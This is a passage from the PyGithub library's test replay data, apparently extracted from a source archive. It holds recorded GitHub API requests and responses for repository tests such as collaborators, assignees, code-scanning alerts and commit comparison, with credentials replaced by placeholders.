'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '806'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 15:03:24 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"350294b94004d4bb252b6a432baa5744"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:12:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","company":"Criteo","plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"followers":13,"public_gists":3,"private_gists":5,"disk_usage":14640,"following":28,"html_url":"https://github.com/jacquev6","location":"Paris, France","total_private_repos":5,"blog":"http://vincent-jacques.net","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","owned_private_repos":5,"collaborators":0,"bio":"","login":"jacquev6","name":"Vincent Jacques","public_repos":11,"created_at":"2010-07-09T06:10:06Z","id":327146,"email":"vincent@vincent-jacques.net"} https GET api.github.com None /repos/PyGithub/PyGithub/assignees/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:12:26 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/assignees/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '23'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4994'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:12:26 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:12:27 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/assignees/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:12:27 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/assignees {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '600'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4991'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 15:03:24 GMT'), ('connection', 'keep-alive'), ('etag', '"350294b94004d4bb252b6a432baa5744"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:12:28 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] [{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},{"avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/Lyloa","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","login":"Lyloa","id":1131432}] https DELETE api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:12:28 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/assignees/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:12:29 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testBadSubscribePubSubHubbub.txt0000644000175100001660000000207414756101563026601 0ustar00runnerdockerhttps POST api.github.com None /hub {'Content-Type': 'multipart/form-data; boundary=----------------------------3c3ba8b523b2', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.callback"http://requestb.in/1bc1sc61------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.topic"https://github.com/PyGithub/PyGithub/events/non-existing-event------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.mode"subscribe------------------------------3c3ba8b523b2-- 422 [('status', '422 Unprocessable Entity'), ('content-length', '51'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4994'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Tue, 05 Feb 2013 18:58:01 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Invalid event: \"non-existing-event\""} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCodeScanAlerts.txt0000644000175100001660000000577414756101563024644 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/code-scanning/alerts {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '318'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3ce61bc2417a6a4f7b47976a7969c711"'), ('date', 'Sun, 20 May 2012 12:10:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"number": 6, "created_at": "2021-06-29T12:28:30Z", "dismissed_at": "2021-06-30T05:05:05Z", "dismissed_by": {"url": "dismissed_by.url", "avatar_url": "dismissed_by.avatar_url", "gravatar_id": "dismissed_by.gravatar_id", "login": "dismisser.login", "id": 42}, "dismissed_reason": "Won't tell", "state": "open", "url": "https://api.github.com/repos/PyGithub/PyGithub/code-scanning/alerts/6", "html_url": "https://github.com/PyGithub/PyGithub/security/code-scanning/6", "instances_url": "https://api.github.com/repos/PyGithub/PyGithub/code-scanning/alerts/6/instances", "most_recent_instance": {"analysis_key": ".github/workflows/codeql-analysis.yml:analyze", "ref": "refs/heads/master", "state": "open", "classifications": ["stupid typo"], "commit_sha": "deadbeef", "environment": "{language:python}", "message": {"text": "Awful stuff might happen."}, "location": {"path": "tests/ReplayData/Repository.testCodeScanAlerts.txt", "start_line": 10, "start_column": 2, "end_line": 10, "end_column": 48}}, "rule": {"id": "py/rule-id", "name": "py/rule-name", "security_severity_level": "high", "severity": "warning", "description": "Bad practice"}, "tool": {"guid": null, "name": "CodeQL", "version": "2.5.7"}}] https GET api.github.com None /repos/PyGithub/PyGithub/code-scanning/alerts/6/instances {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '318'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3ce61bc2417a6a4f7b47976a7969c711"'), ('date', 'Sun, 20 May 2012 12:10:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"analysis_key": "instances[0].analysis_key", "ref": "instances[0].ref", "state": "instances[0].state", "classifications": ["instances[0].classifications"], "commit_sha": "instances[0].commit_sha", "environment": "instances[0].environment", "message": {"text": "instances[0].message"}, "location": {"path": "tests/ReplayData/Repository.testCodeScanAlerts.txt", "start_line": 10, "start_column": 2, "end_line": 10, "end_column": 48}}, {"analysis_key": "instances[1].analysis_key", "ref": "instances[1].ref", "state": "instances[1].state", "classifications": ["instances[1].classifications"], "commit_sha": "instances[1].commit_sha", "environment": "instances[1].environment", "message": {"text": "instances[1].message"}, "location": {"path": "tests/ReplayData/Repository.testCodeScanAlerts.txt", "start_line": 20, "start_column": 17, "end_line": 20, "end_column": 42}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCollaboratorPermission.txt0000644000175100001660000000452414756101563026476 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/collaborators/jacquev6/permission {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.032572'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"69918ef0498799a123b1fac181217047"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '83E0:5916:5CBB8E:776CEA:5B834CE0'), ('date', 'Mon, 27 Aug 2018 00:59:13 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1535333556')] {"user":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/327146?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":327146,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"permission":"admin"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCollaboratorPermissionNoPushAccess.txt0000644000175100001660000000125514756101563030753 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/collaborators/lyloa/permission {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('status', '403 Forbidden'), ('x-ratelimit-remaining', '4980'), ('content-length', '37'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2743ecba84275ee9f0aa8e9edc5ed691"'), ('date', 'Mon, 27 Aug 2018 01:10:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"documentation_url": "https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level", "message": "Must have push access to view collaborator permission."} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCollaborators.txt0000644000175100001660000001352314756101563024607 0ustar00runnerdockerhttps GET api.github.com None /users/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '554'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4955'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"4e931612aa9051643f0a428d2ae60b2e"'), ('date', 'Sun, 27 May 2012 05:34:26 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","url":"https://api.github.com/users/Lyloa","html_url":"https://github.com/Lyloa","company":null,"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":1,"following":0,"created_at":"2011-10-16T14:36:46Z","blog":null,"login":"Lyloa","public_gists":0,"hireable":false,"name":"Lyloa","bio":null,"id":1131432,"public_repos":0,"location":"Paris","email":"nyu@lyloa.net"} https GET api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4954'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 27 May 2012 05:34:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4953'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:34:27 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4952'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:34:28 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/collaborators {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '2085'), ('x-runtime-rack', '0.048639'), ('etag', '"23ec009b721d7456726f15f2c6dc5f9d"'), ('status', '200 OK'), ('x-ratelimit-remaining', '4892'), ('x-github-media-type', 'github.v3; format=json'), ('date', 'Thu, 28 Dec 2017 16:31:19 GMT'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1514478935')] [{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"permissions":{"admin":true,"push":true,"pull":true}},{"url":"https://api.github.com/users/Lyloa","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","login":"Lyloa","id":1131432,"html_url":"https://github.com/Lyloa","followers_url":"https://api.github.com/users/Lyloa/followers","following_url":"https://api.github.com/users/Lyloa/following{/other_user}","gists_url":"https://api.github.com/users/Lyloa/gists{/gist_id}","starred_url":"https://api.github.com/users/Lyloa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Lyloa/subscriptions","organizations_url":"https://api.github.com/users/Lyloa/orgs","repos_url":"https://api.github.com/users/Lyloa/repos","events_url":"https://api.github.com/users/Lyloa/events{/privacy}","received_events_url":"https://api.github.com/users/Lyloa/received_events","type":"User","site_admin":false,"permissions":{"admin":false,"push":true,"pull":true}}] https DELETE api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4950'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:34:29 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4949'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 27 May 2012 05:34:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCompare.txt0000644000175100001660000003523014756101563023366 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/compare/v0.6...v0.7?page=1&per_page=250 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '14488'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"42eb6d36008b20550ae6d1991e0423d5"'), ('date', 'Sun, 27 May 2012 06:30:33 GMT'), ('content-type', 'application/json; charset=utf-8')] {"status":"ahead","behind_by":0,"total_commits":4,"merge_base_commit":{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"4303c5b90e2216d927155e9609436ccb8984c495","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad"}}},"patch_url":"https://github.com/PyGithub/PyGithub/compare/v0.6...v0.7.patch","diff_url":"https://github.com/PyGithub/PyGithub/compare/v0.6...v0.7.diff","url":"https://api.github.com/repos/PyGithub/PyGithub/compare/v0.6...v0.7","ahead_by":4,"base_commit":{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"4303c5b90e2216d927155e9609436ccb8984c495","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-04-17T10:55:16-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad"}}},"permalink_url":"https://github.com/PyGithub/PyGithub/compare/jacquev6:4303c5b...jacquev6:ecda065","files":[{"status":"modified","changes":2,"deletions":1,"raw_url":"https://github.com/PyGithub/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/ReferenceOfClasses.md","blob_url":"https://github.com/PyGithub/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/ReferenceOfClasses.md","filename":"ReferenceOfClasses.md","patch":"@@ -3,7 +3,7 @@ You obtain instances through calls to `get_` and `create_` methods.\n \n Class `Github`\n ==============\n-* Constructed from user's login and password\n+* Constructed from user's login and password or OAuth token\n * `get_user()`: `AuthenticatedUser`\n * `get_user( login )`: `NamedUser`\n * `get_organization( login )`: `Organization`","additions":1,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"},{"status":"modified","changes":4,"deletions":2,"raw_url":"https://github.com/PyGithub/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Github.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Github.py","filename":"github/Github.py","patch":"@@ -2,8 +2,8 @@\n from GithubObjects import *\n \n class Github:\n- def __init__( self, login, password, debugFile = None ):\n- self.__requester = Requester( login, password )\n+ def __init__( self, login_or_token = None, password = None, debugFile = None ):\n+ self.__requester = Requester( login_or_token, password )\n self.__debugFile = debugFile\n \n def _dataRequest( self, verb, url, parameters, data ):","additions":2,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"},{"status":"modified","changes":17,"deletions":3,"raw_url":"https://github.com/PyGithub/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Requester.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/github/Requester.py","filename":"github/Requester.py","patch":"@@ -7,8 +7,15 @@ class UnknownGithubObject( Exception ):\n pass\n \n class Requester:\n- def __init__( self, login, password ):\n- self.__authorizationHeader = \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' )\n+ def __init__( self, login_or_token, password ):\n+ if password is not None:\n+ login = login_or_token\n+ self.__authorizationHeader = \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' )\n+ elif login_or_token is not None:\n+ token = login_or_token\n+ self.__authorizationHeader = \"token \" + token\n+ else:\n+ self.__authorizationHeader = None\n \n def dataRequest( self, verb, url, parameters, input ):\n if parameters is None:\n@@ -46,12 +53,16 @@ def statusRequest( self, verb, url, parameters, input ):\n def __rawRequest( self, verb, url, parameters, input ):\n assert verb in [ \"HEAD\", \"GET\", \"POST\", \"PATCH\", \"PUT\", \"DELETE\" ]\n \n+ headers = dict()\n+ if self.__authorizationHeader is not None:\n+ headers[ \"Authorization\" ] = self.__authorizationHeader\n+\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request(\n verb,\n self.__completeUrl( url, parameters ),\n json.dumps( input ),\n- { \"Authorization\" : self.__authorizationHeader }\n+ headers\n )\n response = cnx.getresponse()\n ","additions":14,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"},{"status":"modified","changes":10,"deletions":1,"raw_url":"https://github.com/PyGithub/PyGithub/raw/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/setup.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7/setup.py","filename":"setup.py","patch":"@@ -5,7 +5,7 @@\n \n setup(\n name = 'PyGithub',\n- version = '0.6',\n+ version = '0.7',\n description = 'Use the full Github API v3',\n author = 'Vincent Jacques',\n author_email = 'vincent@vincent-jacques.net',\n@@ -26,6 +26,14 @@\n print repo.name\n repo.edit( has_wiki = False )\n \n+ You can also create a Github instance without authentication::\n+\n+ g = Github( \"user\", \"password\" )\n+\n+ Or with an OAuth token::\n+\n+ g = Github( token )\n+\n Reference documentation\n =======================\n ","additions":9,"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"}],"commits":[{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-25T05:10:54-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","message":"Implement the three authentication schemes","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent 